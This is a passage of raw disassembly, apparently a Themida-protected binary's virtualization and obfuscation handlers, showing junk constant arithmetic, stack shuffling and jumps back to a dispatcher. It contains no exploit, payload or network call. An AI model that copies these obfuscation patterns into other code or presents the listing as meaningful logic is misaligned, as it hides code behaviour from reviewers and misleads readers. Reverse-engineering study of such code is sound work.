loc_55BF40: ; CODE XREF: Themida_:00558A6Ej inc esi inc esi shl esi, 1 sub esi, 0FFFFFFFFh shr esi, 8 xor esi, 0DA9D743Dh jmp loc_552BBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BF58: ; CODE XREF: sub_556A70+2A2j or edx, eax shl edx, 1 push 0C67h mov [esp-8+arg_4], ebp mov ebp, 1 push edx jmp sub_553E6A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BF6F: ; CODE XREF: Themida_:005538B6j mov ch, dl mov ah, ch pop ecx mov bl, ah mov eax, [esp] add esp, 4 jmp loc_55A335 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BF84: ; CODE XREF: sub_556A70-47A6j xor esi, 30AB532Fh add eax, 2B7A1541h add eax, esi sub eax, 2B7A1541h pop esi jmp loc_5517D9 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BF9C: ; CODE XREF: Themida_:00554C18j div cx push small 27C3h mov [esp], dx push ax pushf jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55BFAF: ; CODE XREF: Themida_:00551385j add dl, 67h and ch, dl jmp loc_55AD24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557F09 loc_55BFB9: ; CODE XREF: sub_557F09+1E44j add esp, [edx+38h] jmp loc_55550F ; END OF FUNCTION CHUNK FOR sub_557F09 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_55C9A7 ; --------------------------------------------------------------------------- loc_55BFCD: ; CODE XREF: Themida_:0055A673j sub edi, 22D409ACh add edi, ebp jmp loc_553747 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BFDA: ; CODE XREF: sub_556A70+D2Dj pop eax add ecx, 4 xchg ecx, [esp+0Ch+var_C] pop esp push edx sub esp, 4 mov [esp+10h+var_10], eax mov eax, 122A70F5h push 7CBFh mov [esp+14h+var_14], esi jmp loc_555077 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_55BFFE: ; CODE XREF: sub_5516F8+77E7j xor ecx, eax xor eax, ecx jmp loc_550C3B ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C007: ; CODE XREF: sub_556A70+3F2Fj mov [esp+14h+var_14], esp push ecx jmp loc_551B68 ; --------------------------------------------------------------------------- loc_55C010: ; CODE XREF: sub_556A70+10DFj mov ebp, 25C027EDh xor edi, ebp pop ebp mov eax, edi mov edi, [esp+14h+var_14] add esp, 4 jmp loc_552520 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_55C028: ; CODE XREF: sub_5516F8+B108j pop edx xchg eax, ecx xchg eax, ecx not ecx jmp loc_558EDD ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C032: ; CODE XREF: sub_556A70+3437j add edi, ecx add edi, 79C9685Bh sub edi, 5434123Fh mov ecx, [esp+14h+var_14] add esp, 4 mov edx, edi pop edi jmp loc_5579A9 ; --------------------------------------------------------------------------- loc_55C051: ; CODE XREF: sub_556A70+6471j xor ebx, edx jmp loc_555262 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C058: ; CODE XREF: Themida_:0055B6EFj pop ebx xchg ecx, [esp] mov esp, [esp] mov fs:[edx], al jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C067: ; CODE XREF: sub_556A70-2E81j shl eax, 8 xor eax, 7E566748h dec eax sub eax, 0C316628Ah add ebx, eax pop eax pop edi sub eax, ebx mov ebx, [esp-8+arg_4] add esp, 4 push 61C0h mov [esp-8+arg_4], edi push edx push 2A451AC1h pop edx push esi mov esi, 0 sub esi, 3E8C4EB6h sub esi, edx add esi, 3E8C4EB6h xchg esi, edx pop esi push ecx mov ecx, 92A7C8Bh jmp loc_55ABC1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] push 534Fh mov [esp], ecx jmp loc_553D11 ; --------------------------------------------------------------------------- loc_55C0C3: ; CODE XREF: Themida_:0055B436j push ebx mov ebx, 79FB2ED2h or ebx, 7C470245h not ebx add ebx, 645246BAh add ebx, 19ACE822h jmp loc_55B08E ; --------------------------------------------------------------------------- loc_55C0E2: ; CODE XREF: Themida_:00551E5Dj push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_559105 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C0F4: ; CODE XREF: sub_556A70+A6Fj add esi, ebp jmp loc_5540BE ; --------------------------------------------------------------------------- loc_55C0FB: ; CODE XREF: sub_556A70+3462j xchg edi, ecx pop edi push ecx dec [esp+2+var_4+2] pop ecx or ecx, 71EF3C05h or ecx, 4C7F5E30h push eax mov eax, 0F599A9FAh xor ecx, eax pop eax sub ebx, ecx mov ecx, [esp+0] add esp, 4 add ebx, edi push edi mov edi, 866564Fh add ebx, edi pop edi mov ecx, [ebx] mov ebx, [esp-6+arg_0+2] add esp, 4 jmp loc_552EC0 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C13B: ; CODE XREF: Themida_:0055BD13j mov si, 3DBh and si, 73BEh and si, 5663h shr si, 2 add si, 3733h jmp loc_556E85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557F09 loc_55C157: ; CODE XREF: sub_557F09+37A7j inc ebx push edi mov edi, 1 add ebx, edi jmp loc_551062 ; END OF FUNCTION CHUNK FOR sub_557F09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C165: ; CODE XREF: sub_556A70-28B2j add bl, 38h push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 sub ecx, ebp pop ebp xchg ecx, [esp+0] pop esp jmp loc_55A560 ; --------------------------------------------------------------------------- loc_55C183: ; CODE XREF: sub_556A70-29C3j mov ecx, 5A835F3Bh push ebx mov ebx, 38785C91h add ecx, 7197537Bh sub ecx, ebx sub ecx, 7197537Bh pop ebx jmp loc_55A913 ; --------------------------------------------------------------------------- loc_55C1A2: ; CODE XREF: sub_556A70+620Ej jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55C1A7: ; CODE XREF: sub_556A70-3B45j pop ecx not edx neg edx inc edx push ebp sub esp, 4 mov [esp+8+var_8], ecx push 4D1F55CAh pop ecx dec ecx sub ecx, 1 xchg esi, ecx jmp loc_552A49 ; --------------------------------------------------------------------------- loc_55C1C8: ; CODE XREF: sub_556A70+2586j xchg ecx, [esp-4+arg_0] mov esp, [esp-4+arg_0] jmp loc_5590B5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C1D3: ; CODE XREF: Themida_:005553B2j xor eax, [esp] jmp loc_5548F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551E74 loc_55C1DB: ; CODE XREF: sub_551E74+8A6Ej mov eax, 74627DE7h add ebx, eax pop eax mov esi, [esp+0] jmp loc_55C61C ; END OF FUNCTION CHUNK FOR sub_551E74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C1EB: ; CODE XREF: sub_556A70-15D7j xor ebx, 52BA268Ah jmp loc_550E21 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A748 loc_55C1F6: ; CODE XREF: sub_55A748-614Fj add edx, 4 jmp loc_555FB4 ; END OF FUNCTION CHUNK FOR sub_55A748 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C1FE: ; CODE XREF: sub_556A70+4C05j push 1E4h jmp loc_5516D2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C208: ; CODE XREF: Themida_:0055AFCBj mov [esp], eax jmp loc_558366 ; --------------------------------------------------------------------------- loc_55C210: ; CODE XREF: Themida_:00554654j push ecx mov ecx, 4 add [esp+4], ecx pop ecx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5556AC ; --------------------------------------------------------------------------- loc_55C23E: ; CODE XREF: Themida_:00551994j sub cl, 0BEh add cl, 24h pop ebx jmp loc_55AE03 ; --------------------------------------------------------------------------- loc_55C24A: ; CODE XREF: Themida_:0055AF66j push eax mov eax, 4 add [esp+4], eax jmp loc_5578AE ; =============== S U B R O U T I N E ======================================= sub_55C259 proc near ; CODE XREF: sub_557F09-29F2j ; FUNCTION CHUNK AT 0055BE23 SIZE 0000000B BYTES push ebp push 1087076Ah pop ebp add ebp, 343B0520h shr ebp, 5 jmp loc_55BE23 sub_55C259 endp ; --------------------------------------------------------------------------- loc_55C26E: ; CODE XREF: Themida_:00555A9Cj push ebp push esp pop ebp push eax jmp loc_555AC1 ; --------------------------------------------------------------------------- loc_55C277: ; CODE XREF: Themida_:00555FF8j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [esp] pop eax push esi push esp pop esi push edx jmp loc_5525AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5519E5 loc_55C290: ; CODE XREF: sub_5519E5+18j pop esp jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_5519E5 ; --------------------------------------------------------------------------- loc_55C296: ; CODE XREF: Themida_:00555354j xor esi, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_5548D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C746 loc_55C2AC: ; CODE XREF: sub_55C746+4j add esp, 4 sub esp, 4 mov [esp+4+var_4], edx mov eax, [esp+4+var_4] sub esp, 4 jmp loc_559184 ; END OF FUNCTION CHUNK FOR sub_55C746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554299 loc_55C2C3: ; CODE XREF: sub_554299+B4Bj sub ecx, 53196E7Ch push ebp mov ebp, 2A5200ACh add ecx, ebp jmp loc_55BECD ; END OF FUNCTION CHUNK FOR sub_554299 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C2D6: ; CODE XREF: sub_556A70-5EFFj pop edx push ecx jmp loc_553AC4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C2DD: ; CODE XREF: Themida_:00553B35j push 4152h mov [esp], edi mov edi, 2A743923h shr edi, 5 jmp loc_55BBF4 ; --------------------------------------------------------------------------- loc_55C2F2: ; CODE XREF: Themida_:00555108j pop ebx push ecx push ebp mov ebp, esp jmp loc_55A31B ; =============== S U B R O U T I N E ======================================= sub_55C2FC proc near ; CODE XREF: sub_556A70+5BE5j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebx jmp sub_55B403 sub_55C2FC endp ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_550A46 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_556D88 ; --------------------------------------------------------------------------- loc_55C321: ; CODE XREF: Themida_:0055614Cj pop edx push 2480h mov [esp], edx mov edx, 78FB0453h shr edx, 6 push ecx mov ecx, 62886EFAh add edx, ecx pop ecx sub ebp, edx jmp loc_55640D ; --------------------------------------------------------------------------- loc_55C342: ; CODE XREF: Themida_:0055B1EAj mov [esp], edi mov edi, 4 add [esp+4], edi jmp loc_5576F7 ; --------------------------------------------------------------------------- loc_55C353: ; CODE XREF: Themida_:00554228j mov ch, 7Bh mov al, 6Eh jmp loc_55C521 ; --------------------------------------------------------------------------- loc_55C35C: ; CODE XREF: Themida_:00555749j mov ebx, [esp] add esp, 4 add ebx, 4 push esi mov esi, 4 sub ebx, esi mov esi, [esp] add esp, 4 xchg ebx, [esp] jmp loc_5565C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C384: ; CODE XREF: sub_556A70-23FFj xchg eax, [esp-4+arg_0] mov esp, [esp-4+arg_0] bt [esp-4+arg_0], eax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C394: ; CODE XREF: Themida_:00551028j sub eax, ecx mov ecx, [esp] add esp, 4 jmp loc_55118E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C3A1: ; CODE XREF: sub_556A70+541j xor edx, 6FD00DCDh and ebx, edx pop edx shr ebx, 6 inc ebx jmp loc_555620 ; --------------------------------------------------------------------------- loc_55C3B3: ; CODE XREF: sub_556A70-5EC6j or edx, eax shl edx, 1 jmp loc_55B24C ; --------------------------------------------------------------------------- loc_55C3BC: ; CODE XREF: sub_556A70+5C00j mov edi, 0A888B031h add edi, ecx pop ecx add eax, edi mov edi, [esp-12h+arg_C+2] add esp, 4 push dword ptr [edi+eax*4] push 4120h mov [esp-0Eh+arg_8+2], esi push 6A8Fh mov [esp-0Ah+arg_4+2], ebp push 4D6D204Dh jmp loc_555EFA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C3E9: ; CODE XREF: Themida_:005557E1j shr ebp, 3 xor ebp, 5050B24h add ecx, 4B0E370Fh add ecx, ebp sub ecx, 4B0E370Fh pop ebp add ecx, 4 xchg ecx, [esp] jmp loc_557B54 ; --------------------------------------------------------------------------- loc_55C40F: ; CODE XREF: Themida_:00559E5Dj xor bp, [esp] jmp loc_5574E4 ; --------------------------------------------------------------------------- loc_55C418: ; CODE XREF: Themida_:00551875j pop ebp sub esp, 4 mov [esp], ebx mov ebx, 35FE6F10h add ebx, 0CA0190F4h add edx, ebx mov ebx, [esp] jmp loc_55B32C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C434: ; CODE XREF: sub_556A70-39B2j mov ecx, [esp+14h+var_14] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+18h+var_18] pop esp add esp, 4 push 5BDFh mov [esp+14h+var_14], edi push 67DBh jmp loc_559B84 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C462: ; CODE XREF: Themida_:00554D87j push edx mov edx, 2CC56E10h dec edx jmp loc_55CBAE ; --------------------------------------------------------------------------- loc_55C46E: ; CODE XREF: Themida_:005538AEj not edx inc edx add edx, 57477935h xor esi, edx pop edx mov ebx, esi pop esi add esi, ebx jmp loc_554A3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5557A0 loc_55C484: ; CODE XREF: sub_5557A0+9j mov ecx, 60626A4Bh push ebx mov ebx, 664055E9h sub ebx, 2979F179h sub ecx, ebx pop ebx sub [esp+4], ecx jmp loc_55A003 ; END OF FUNCTION CHUNK FOR sub_5557A0 ; --------------------------------------------------------------------------- loc_55C4A1: ; CODE XREF: Themida_:00557F5Bj mov dl, al jmp loc_554E08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C4A8: ; CODE XREF: sub_556A70+637Ej add edx, 4 xchg edx, [esp+18h+var_18] mov esp, [esp+18h+var_18] sub ebp, 3737B0BAh sub eax, ebp pop ebp xchg eax, [esp+14h+var_14] pop esp mov word ptr [esp+10h+var_10], dx push ax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C4CA: ; CODE XREF: Themida_:0055B857j mov ebx, 19BA5A5Bh mov esi, 28F91424h add esi, ebx pop ebx add esi, 0E49B5DDh mov ebx, esi pop esi push ebx not dword ptr [esp] pop ebx inc ebx jmp loc_553F40 ; --------------------------------------------------------------------------- loc_55C4EB: ; CODE XREF: Themida_:00555312j mov [esp], esi jmp loc_554FA4 ; --------------------------------------------------------------------------- loc_55C4F3: ; CODE XREF: Themida_:00558B1Bj pop ebx pop ebx push 7889h mov [esp], ebx mov bl, 73h add al, bl push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_559DAC ; --------------------------------------------------------------------------- loc_55C50F: ; CODE XREF: Themida_:00559DC9j pop ebx push edx mov edx, 4DAA288Dh or edx, 799A3A5Ch jmp loc_556F22 ; --------------------------------------------------------------------------- loc_55C521: ; CODE XREF: Themida_:0055C357j sub al, ch pop ecx push bx mov bh, dl push ecx mov cl, al mov dl, cl pop ecx jmp loc_5593EF ; --------------------------------------------------------------------------- loc_55C533: ; CODE XREF: Themida_:0055540Bj mov ebx, esp push esi push ebp mov ebp, 753F51C1h not ebp xor ebp, 7BCB1384h dec ebp sub ebp, 0EC69AFACh mov esi, ebp pop ebp shr esi, 6 jmp loc_551AE1 ; --------------------------------------------------------------------------- loc_55C556: ; CODE XREF: Themida_:00555FAFj pop esp shl byte ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C560: ; CODE XREF: sub_556A70+5E29j push edx mov dh, 0DEh mov ah, 1Fh add ah, dh pop edx push ecx push ebx mov bh, 98h not bh dec bh xor bh, 0B8h mov ch, bh pop ebx jmp loc_553E43 ; --------------------------------------------------------------------------- loc_55C57B: ; CODE XREF: sub_556A70+3E26j xor edx, 33404D0Ch push eax jmp loc_55AEA6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C587: ; CODE XREF: Themida_:00551194j xor eax, [esp] pop esp mov [esp], cx jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55C594: ; CODE XREF: Themida_:00552F63j push edx jmp loc_553051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F2D loc_55C59A: ; CODE XREF: sub_559F2D-375Fj push ecx mov ecx, 6C1903C6h sub ecx, 6C1903C2h add edx, ecx pop ecx jmp loc_55B4B5 ; END OF FUNCTION CHUNK FOR sub_559F2D ; --------------------------------------------------------------------------- loc_55C5AE: ; CODE XREF: Themida_:0055AFFFj mov cl, 0CBh push edx mov dl, 73h dec dl and dl, 88h add dl, 57h and dl, 0C5h add dl, 61h sub cl, dl pop edx sub cl, 4Eh sub cl, 0Ah sub esp, 4 mov [esp], edx mov dl, cl mov bl, dl jmp loc_55CF7C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C5D9: ; CODE XREF: sub_556A70-149Bj sub eax, 30221509h mov esi, [esp+4+var_4] add esp, 4 jmp sub_5599E2 ; --------------------------------------------------------------------------- loc_55C5E9: ; CODE XREF: sub_556A70-C41j pop esi push ecx jmp loc_558E83 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554299 loc_55C5F0: ; CODE XREF: sub_554299+442Dj sub ebp, 8268F456h sub ecx, 2A5200ACh jmp loc_554DDC ; END OF FUNCTION CHUNK FOR sub_554299 ; --------------------------------------------------------------------------- loc_55C601: ; CODE XREF: Themida_:005561B7j pop esi jmp loc_55CB21 ; =============== S U B R O U T I N E ======================================= sub_55C607 proc near ; CODE XREF: sub_556A70-369Ej var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], esp push edi mov edi, 4 add [esp+8+var_4], edi jmp loc_557471 sub_55C607 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_551E74 loc_55C61C: ; CODE XREF: sub_551E74+A372j add esp, 4 sub ebx, eax jmp loc_559518 ; END OF FUNCTION CHUNK FOR sub_551E74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55515F loc_55C626: ; CODE XREF: sub_55515F-36E8j add ecx, ebx pop ebx add ecx, 2 xchg ecx, [esp+6+var_6] pop esp jmp loc_5510DA ; END OF FUNCTION CHUNK FOR sub_55515F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553651 loc_55C638: ; CODE XREF: sub_553651-CA2j add ebx, eax push ecx mov ecx, 617F52E6h add ebx, ecx jmp loc_554CAC ; END OF FUNCTION CHUNK FOR sub_553651 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C647: ; CODE XREF: sub_556A70+6FFj sub ebx, esi pop esi jmp loc_5515EF ; --------------------------------------------------------------------------- loc_55C64F: ; CODE XREF: sub_556A70-9EFj add ebp, 4 jmp sub_55C2FC ; --------------------------------------------------------------------------- loc_55C65A: ; CODE XREF: sub_556A70+2CC1j sub ebx, eax jmp loc_5581F5 ; --------------------------------------------------------------------------- loc_55C661: ; CODE XREF: sub_556A70+3399j xor [esp+14h+var_14], ecx xor ecx, [esp+14h+var_14] pop esp pop eax push edi push ecx mov ecx, 59E46BEBh jmp loc_55C3BC ; --------------------------------------------------------------------------- loc_55C675: ; CODE XREF: sub_556A70+30ABj xor ebp, [esp-1Eh+arg_18+2] xor [esp-1Eh+arg_18+2], ebp xor ebp, [esp-1Eh+arg_18+2] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-1Eh+arg_18+2] pop esp jmp loc_55416D ; --------------------------------------------------------------------------- loc_55C694: ; CODE XREF: sub_556A70+2877j pop ebx add ecx, 2 xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] pop esp sub word ptr [esp-4+arg_0], ax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C6AC: ; CODE XREF: Themida_:0055CA86j push edx jmp loc_550FA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C6B2: ; CODE XREF: sub_556A70+3747j xor eax, ebx jmp loc_559FAF ; --------------------------------------------------------------------------- loc_55C6B9: ; CODE XREF: sub_556A70+17D2j xor esi, [esp-1Eh+arg_18+2] pop esp mov [esp-22h+arg_1C+2], edi mov edi, esp push ebx mov ebx, 57C72EE9h jmp loc_55A683 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C6CD: ; CODE XREF: Themida_:00551853j xchg esi, edi shr edi, 7 dec edi add edi, 5B4BABD9h add edx, edi jmp loc_55B85C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5563FF loc_55C6E0: ; CODE XREF: sub_5563FF+6799j mov [esp+0], ebp mov ebp, 2 add ecx, 6292656Ch sub ecx, ebp sub ecx, 6292656Ch mov ebp, [esp+0] sub esp, 4 mov [esp+4+var_4], ebx jmp loc_5574F7 ; END OF FUNCTION CHUNK FOR sub_5563FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55BDF1 loc_55C704: ; CODE XREF: sub_55BDF1-65EDj mov ebx, 0FDFFFBFCh add ecx, ebx pop ebx push 19A0h jmp loc_556EBE ; END OF FUNCTION CHUNK FOR sub_55BDF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C716: ; CODE XREF: sub_556A70-27E4j mov [esp+4+var_4], ecx jmp loc_5521D2 ; --------------------------------------------------------------------------- loc_55C71E: ; CODE XREF: sub_556A70-1455j mov edx, 34BF0905h or ecx, edx pop edx dec ecx sub ecx, 7BD8278Dh inc ecx push esi mov esi, 571548C8h xor ecx, esi pop esi sub ecx, 0AC325A7Eh add esi, ecx pop ecx push ecx jmp loc_558033 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55C746 proc near ; CODE XREF: sub_556A70-22AAj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00559184 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0055C2AC SIZE 00000017 BYTES push ebx mov edx, [esp+4+var_4] jmp loc_55C2AC sub_55C746 endp ; --------------------------------------------------------------------------- loc_55C74F: ; CODE XREF: Themida_:0055A279j pop edx sub edx, 6A674268h add edx, esi jmp loc_55B9DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C75D: ; CODE XREF: sub_556A70+2A32j shl ah, 8 inc ah jmp loc_55138A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C767: ; CODE XREF: Themida_:0055866Ej push esp pop dword ptr [esp] jmp loc_55BCEC ; --------------------------------------------------------------------------- loc_55C770: ; CODE XREF: Themida_:00559CC7j movzx cx, al push eax mov eax, esp jmp loc_55C904 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_555F79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C785: ; CODE XREF: sub_556A70+1691j xchg ebp, esi shr esi, 7 sub esi, 0E85CE10Bh add eax, esi push [esp+4+var_4] jmp loc_555AF5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C79A: ; CODE XREF: Themida_:00551396j push ecx mov ch, 0CBh sub ch, 0AAh jmp loc_557BEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_55C7A5: ; CODE XREF: sub_5516F8+Ej xor ebx, 5C9A6050h jmp loc_552501 ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C7B0: ; CODE XREF: sub_556A70+3512j mov eax, [esp+4+var_4] add esp, 4 pop ecx add ecx, 4DC525C2h mov edx, ecx mov ecx, [esp-4+arg_0] add esp, 4 mov edi, [esp-8+arg_4] add esp, 4 jmp loc_5580E2 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C7D3: ; CODE XREF: Themida_:0055987Ej imul ecx, eax push ecx pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C7DD: ; CODE XREF: sub_556A70-274Ej add edx, 58387D89h sub edx, eax push ebp jmp loc_55226F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C7EB: ; CODE XREF: Themida_:0055B864j push ebx mov ebx, 0ED02ACCh or ebx, 2E8F1315h inc ebx inc ebx jmp loc_55554D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5516F8 loc_55C7FE: ; CODE XREF: sub_5516F8+8B0Dj sub ecx, edx jmp loc_55C028 ; END OF FUNCTION CHUNK FOR sub_5516F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A5DF loc_55C805: ; CODE XREF: sub_55A5DF+27j movzx eax, al jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_55A5DF ; --------------------------------------------------------------------------- popa jmp locret_55310F ; --------------------------------------------------------------------------- loc_55C811: ; CODE XREF: Themida_:00553552j sub edx, ebx pop ebx sub esi, 739029F4h add esi, edx add esi, 739029F4h mov edx, [esp] jmp loc_5528B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C82A: ; CODE XREF: sub_556A70+397Aj add ebx, esi jmp sub_551E74 ; --------------------------------------------------------------------------- loc_55C831: ; CODE XREF: sub_556A70-2943j pop esi pop dword ptr [esp+0] jmp loc_5510A5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557D5C loc_55C83A: ; CODE XREF: sub_557D5C+21j add ebx, ebp pop ebp jmp loc_5577AD ; END OF FUNCTION CHUNK FOR sub_557D5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5567EA loc_55C842: ; CODE XREF: sub_5567EA+2383j pop ebx add esp, 4 push 7B0Dh mov [esp+4+var_4], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+4+var_4] jmp loc_556D11 ; END OF FUNCTION CHUNK FOR sub_5567EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C864: ; CODE XREF: sub_556A70-4545j add edx, 4E7940FFh or edx, 45255EACh neg edx add edx, 0E3FC742Ah mov edi, edx pop edx and edi, 641D65BFh dec edi push ebx push edx mov edx, 1F067280h mov ebx, edx jmp loc_554B55 ; --------------------------------------------------------------------------- loc_55C890: ; CODE XREF: sub_556A70+1AD0j pop eax pop ecx push ecx mov ch, 49h or dl, ch pop ecx push eax jmp loc_55C560 ; --------------------------------------------------------------------------- loc_55C89E: ; CODE XREF: sub_556A70+1A59j add ebx, 4 xchg ebx, [esp+0Ch+var_C] jmp loc_552189 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C8A9: ; CODE XREF: Themida_:005593DAj add esi, ecx pop ecx jmp loc_55AAC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5526D6 loc_55C8B1: ; CODE XREF: sub_5526D6-816j add ebp, 532E01B4h jmp loc_558F69 ; END OF FUNCTION CHUNK FOR sub_5526D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C8BC: ; CODE XREF: sub_556A70+6B7j add esp, 4 mov ecx, [esp+6+var_8+2] jmp loc_551204 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] push eax push esp 